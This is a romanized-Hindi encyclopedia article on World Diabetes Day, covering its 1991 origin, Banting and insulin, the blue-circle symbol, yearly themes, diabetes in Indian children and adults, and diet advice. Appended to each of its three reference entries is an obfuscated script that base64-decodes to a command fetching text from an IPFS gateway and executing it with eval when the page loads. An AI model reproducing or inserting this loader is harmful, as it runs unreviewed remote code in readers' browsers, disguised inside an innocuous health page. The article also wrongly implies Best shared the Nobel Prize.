विश्व मधुमेह दिवस
vishv madhumeh divas
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| vivaran | phredarik betiang ke yogadan ko yad rakhane ke lie iantaraneshanal dayabetik phedareshan dvara 14 navanbar ko duniya ke 140 deshoan mean madhumeh divas manaya jata hai. |
| tithi | 14 navanbar |
| shuruat | 1991 |
| any janakari | bharat ko 'madhumeh ki rajadhani' kaha jata hai. khanapan ki kharabi aur sharirik shram ki kami ke karan pichhale dashak mean madhumeh hone ki dar duniya ke har desh mean badhi hai. |
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vishv madhumeh divas (aangrezi: World Diabetes Day) pratyek varsh 14 navanbar ko manaya jata hai. nirantar madhumeh rogiyoan ki sankhya mean ho rahi vriddhi ko dekhate hue 1991 mean aantarrashtriy madhumeh sangh evan vishv svasthy sangathan ne sanyukt roop se is bimari ke prati logoan ko jagarook karane hetu prati varsh vishv madhumeh divas ayojit karane ka vichar kiya. is hetu unhoanne 14 navanbar ka din chayanit kiya. 14 navanbar vishv madhumeh divas ke roop mean varsh 1991 se manaya ja raha hai. prati varsh vishv madhumeh divas ka alag dhyey hota hai.[1] is varsh madhumeh divas ka dhyey hai 'madhumeh ke vishay mean logoan ko shikshit karana' v 'bachchoan evan kishoravastha mean madhumeh'.
khoj
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madhumeh rog ke karan evan isake vibhinn pahaluoan ko samajhane hetu kee log prayasarat the. inamean se ek jo di phredarik baitiang evan charls best ki bhi thi, jo painakriyaj granthi dvara stravit tattv ke rasayanik sanrachana ki khoj mean lage hue the. is tattv ko alag kar unhoanne aktoobar, 1921 mean pradarshit kiya ki yah tattv sharir mean glookoz ka nistaran karane mean aham bhoomika nibhata hai aur isaki kami hone se madhumeh rog ho jata hai. is tattv ko iansulin ka nam diya gaya. isaki khoj madhumeh ke itihas mean ek mil ka patthar hai. is kary hetu inhean nobel puraskar se sammanit kiya gaya.
itihas
14 navanbar ko phredarik baitiang ka janm divas hai. atah vishv madhumeh divas hetu is tithi ka chayan kiya gaya. phredarik betiang ke yogadan ko yad rakhane ke lie iantaraneshanal dayabetik phedareshan dvara 14 navanbar ko duniya ke 140 deshoan mean madhumeh divas manaya jata hai. prarambh mean “vishv madhumeh divas” hetu “yin aur yaang” ko pratik chihn ke liye chuna gaya tha.250px|thumb|left|ekva chek
Aqua cheque chini sanskriti mean “yin aur yaang” ko dvaitavat ke anusar prakriti mean santulan ka pratik mana jata hai. yah pahachan chihn is bat ki or iangit karata hai ki is bimari par samuchit lagam kasane hetu rogi, chikitsak, samajik jagarookata adi vibhinn tatvoan ke bich santulan hona avashyak hai.
aantarrashtriy madhumeh sangh ke satat prayas ke phalasvaroop sanyukt rashtr sangh ne antatah madhumeh ki chunauti ko svikara aur disambar, 2006 mean ise apane svasth karyakramoan ki soochi mean shamil kiya. sanh 2007 se ab yah sanyukt rashtr ke karyakram ke roop mean manaya jata hai. sanyukt rashtr ke soochi mean shamil hone ka sabase b da labh yah hua ki ab sanyukt rasht sangh ke sadasy desh apani svasthy sanbandhi niti-nirdharan mean ise mahattv de rahean haian.
pratik chihn
san 2007 mean sanyukt rashtr dvara is divas ko aangikar karane ke bad is ka pratik chihn nila chhalla chuna gaya hai. chhalla ya vritt, nirantarata ka pratik hai. vritt is bat ka pratik hai vishv ke sabhi log is par kaboo pane ke liye ekajut hoan. nila rang akash, sahayog aur vyapakata ka pratik hai. is pratik chihn ke sath jo sootr vaky diya gaya hai vah hai- madhumeh ke lie ekajutata.
kendriy vichar
pratyek varsh, 'vishv-madhumeh divas' kisi ek kendriy vichar par bal deta hai. varsh 2008 ka vichar madhumeh evan bachche tha. bachchoan mean madhumeh prakar-1 evan prakar-2 donoan prakar ke ho sakate haian.
bachchoan mean madhumeh
[[chitr:Diabetes-Obesity.jpg|300px|thumb|motapa aur madhumeh ka ausat
Obesity and Diabetes]]
bachchoan mean mukhyatah prakar-1 madhumeh hota hai, jisake chikitsa ke lie jivan paryant iansulin lena hota hai. kee bar isase pi dit bachchean ke lakshanoan ko n pahachan pane ke karan unaki maut, dayabitik koma mean ho jati hai. bimari ke nidan hone ke bad bhi arthik aur any karanoan se in bachchoan ko samuchit chikitsa nahian mil pati. badalate jivan shaili aur thos, uchch oorja yukt bhojan ki prachurata ke karan bachchoan mean motape ki pravritti idhar bahut tezise badh rahi hai. ameriki aank de batate haian ki 7 se 15 varsh ki ayu varg ke bich motape ki dar mean 1985 se 1997 ke bich do se char guni vriddhi huee hai. bharat mean tamilanadu mean d aau. ramachandran dvara kiye gaye ek sarvekshan mean 13 se 18 varsh ke bachcho mean 18% mean motapa paya gaya. bachchoan mean badhate motape ki pravritti evan sharirik shram mean kami ke karan ab prakar-2 madhumehi bachche bhi b di sankhya mean dekhane ko mil rahean haian. inhian batoan ko dhyan mean lete hue varsh 2008 vishv madhumeh divas ka kendriy vichar 'bachche aur madhumeh' diya gaya. varsh 2008 se 2009 mean madhumeh atm dekhabhal sanstha ne bachchoan ko kendrit kar varsh bhar ke liye ek abhiyan shuroo kiya tha jisaka nam madhumeh vijay diya gaya. is abhiyan ke tahat prati mah vibhinn skooloan mean bachchoan evan adhyapakoan ko is bimari ke prati jagarook karane, svasth bhojan, jivan shaili evan vyayam ki mahatta samajhane ke liye vyakhyan kiye gaye aur vijnapan evan nara pratiyogita ke madhyam se bachchoan ke srijanatmak soch ko vikasit kiya gaya.[2]
bharat mean mahattv
bharat mean madhumeh
bharat ko madhumeh ki rajadhani kaha jata hai. khanapan ki kharabi aur sharirik shram ki kami ke karan pichhale dashak mean madhumeh hone ki dar duniya ke har desh mean badhi hai. bharat mean isaka sabase vikrit svaroop ubhara hai jo bahut bhayavah hai. jivanashaili mean aniyamitata madhumeh ka b da karan hai. ek dashak pahale bharat mean madhumeh hone ki ausat umr chalis sal ki thi jo ab ghat kar 25 se 30 sal ho chuki hai. 15 sal ke bad hi b di sankhya mean logoan ko madhumeh ka rog hone laga hai. kam umr mean is bimari ke hone ka sidha matalab hai ki chalis ki umr ate-ate hi bimari ke dushparinamoan ko jhelana p data hai.
| varsh | shirshak |
|---|---|
| 2009 se 2012 | madhumeh ke vishay mean logoan ko shikshit karana |
| 2008 | ab kuchh alag kar dikhane ka samay hai. bachchoan evan kishoroan ko madhumeh se bachaie. |
| 2007 | 264 qadam chalean. |
| 2006 | bachchoan ko madhumeh se bachaie. |
| 2005 | madhumeh mean pairoan ki dekhabhal zaroori hai. |
| 2004 | motapa chhu daean, madhumeh se bachean. |
| 2003 | madhumeh rogiyoan ko gurde ki kharabi par jagaruk karean. |
| 2002 | madhumeh mean karean aankhoan ki dekhabhal. |
| 2001 | madhumeh mean karean hrday ki dekhabhal. |
| 2000 | sahi jivan shaili se rokean madhumeh ko. |
| 1999 | madhumeh ke karan rashtriy bajat par khatara hai. |
| 1998 | madhumeh mariz़oan ke adhikar surakshit haian. |
| 1997 | vishvavyapi jagarukata zaruri hai. |
| 1996 | iansulin hi jivan ka amॄt hai. |
| 1995 | bina janakari madhumeh ke rogi ka bhavishy khatare mean hoga. |
| 1994 | badhati umr madhumeh ka jokhim karak hai ise kam kar sakate haian. |
| 1993 | kishoravastha mean madhumeh ki dekhabhal. |
| 1992 | madhumeh vishvavyapi evan sabhi umr ki samasya hai. |
| 1991 | madhumeh par janata ko jagaruk karean. |
bharat mean 1995 mean madhumeh rogiyoan ki sankhya 1 karo d 90 lakh thi, jo 2008 mean badhakar char karo d ho gee hai. anuman hai ki 2030 mean madhumeh rogiyoan ki sankhya ath karo d ke asapas ho jaegi. bharat sarikhe deshoan mean qarib 340 se 350 lakh vyakti is vyadhi ka shikar haian, jo ek vishv rikard hai. 17% nagaravasi evan 2.5% gramavasi is bimari se pi dit haian. dilli madhumeh anusandhan kendr ke adhyaksh d aau. e. ke. jhiangan ke anusar sabhi tarah ke nichale aang vichchhedan ke mamale mean 45 se 75 fisadi madhumeh rogi hote haian. 2030 mean madhumeh rogiyoan ki anumanit sankhya qarib ath karo d hai, jisamean ek karo d logoan ko dayabitik pairoan ka khatara hoga. yah madhumeh rogiyoan mean sarvadhik gambhir, jatil v kharchili bimari hai. is rog ke parinamasvaroop sharir ke nichale hisse ke aangoan mean vichchhedan ki sankhya badhi hai. madhumeh (dayabitij) ke karan hi kidani ki kharabi, hriday aghat, pairoan ka gaingrin aur aankhoan ka andhapan ab bharat ki mukhy svasthy samasya ban chuki hai.
galat khanapan evan alasi jivan shaili ke karan din-pratidin kam umr ke logoan mean yah bimari ho rahi hai. atah bharat mean zor-shor se vishv madhumeh divas manane ki zaroorat hai. is lakshy ko lekar kuchh karyakram prastut kiye gaye haian jo is prakar haian.[3]
bachav
khanapan ki kharabi aur sharirik shram ki kami ke karan pichhale dashak mean madhumeh hone ki dar duniya ke har desh mean badhi hai. bharat mean isaka sabase vikrit svaroop ubhara hai jo bahut bhayavah hai. ek dashak pahale bharat mean prakar-2 madhumeh hone ki ausat umr chalis sal ki thi jo ab ghat kar 25 se 30 sal ho chuki hai. 15 sal ke bad hi b di sankhya mean logoan ko madhumeh ka rog hone laga hai. kam umr mean is bimari ke hone ka sidha matalab hai ki chalis ki umr ate-ate hi bimari ke dushparinamoan ko jhelana p data hai. madhumeh ke karan hi kidani ki kharabi, hriday aghat, pairoan ka gaingrin aur aankhoan ka andhapan ab bharat ki mukhy svasthy samasya ban chuki hai. isase yah spasht hota hai ki madhumeh se bachav hamari pramukh prathamikata ho gayi hai.
salah
madhumeh ke mariz़oan ko ahar ki vishisht salah di jati hai. yah vikar ajivan rahane vala hai. atah-
- samay-samay par rakt jaanch karate rahean.
- niyamit shugar star ki jaanch karayean.
- agar apako kisi bhi prakar ka ghav hua ho, to use khula na chho dean.
- phaloan ka ras lene ke bajay, phal khayean.
- vyayam karean aur apana vazan niyantrit rakhean.
- glookoz, chini, jaim, gu d, mithaeeyaan, tale hue ahar, alkohal ka sevan, sookhe meve, badam, mooangaphali, aloo, shakarakand, matar, sem jaisi sabjiyaan, kela, sharipha, chikoo, anjir, khajoor jaise phal se parahej karean.
- salad, kachchi sabji़yaan, sabji़yoan ke soop, chay, kafi ya niboo pani adi paryapt matra mean le sakate haian.
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tika tippani aur sandarbh
- ↑ vishhv madhumeh़ divas (hindi) aaunali maee helth. abhigaman tithi: 14 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv madhumeh divas 14 navanbar (hindi) (ech.ti.em) madhumeh aur ap. abhigaman tithi: 14 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv madhumeh divas (hindi) (ech.ti.em.el) di. ech. ar. si. iandiya. abhigaman tithi: 14 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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